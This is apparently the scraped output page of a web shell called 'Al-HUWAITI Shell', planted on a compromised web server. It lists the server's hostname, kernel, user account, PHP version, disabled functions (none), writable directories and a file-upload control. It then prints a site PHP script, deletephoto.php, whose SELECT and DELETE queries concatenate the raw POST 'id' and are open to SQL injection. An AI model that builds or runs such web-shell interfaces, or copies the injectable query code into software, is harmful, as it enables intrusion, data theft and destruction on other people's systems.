Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux nl-srv-web1396.main-hosting.eu 4.18.0-553.83.1.lve.el8.x86_64 #1 SMP Wed Nov 12 10:04:12 UTC 2025 x86_64
User : u107206879 ( 107206879)
PHP Version : 7.2.34
Disable Function : NONE
Directory :  /home/u107206879/domains/escort46.de/public_html/services/myaccount/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u107206879/domains/escort46.de/public_html/services/myaccount/deletephoto.php
<?php
	require "../../db_connection.php";
	include "../../sessioncheck.php";
	$response = array();
	if(!empty($_POST['id'])) {
		$id = $_POST['id'];
		$sqlph = "SELECT * FROM images WHERE id = ".$id." AND is_profile = 0";
		$result1 = mysqli_query($connection,$sqlph);
		$row = mysqli_fetch_array($result1);
		$photo = $row['photo'];
		$photo_1 = '178_'.$photo;
		$photo_2 = '310_'.$photo;
		unlink("../../user_images/$photo");
		unlink("../../thumbnails/$photo_1");
		unlink("../../thumbnails/$photo_2");
		$sql = "DELETE FROM images WHERE id = ".$id." AND is_profile = 0";
		$result = mysqli_query($connection,$sql);
		
		$response['status'] = 1;
	}
	echo json_encode($response, true);
?>

Al-HUWAITI Shell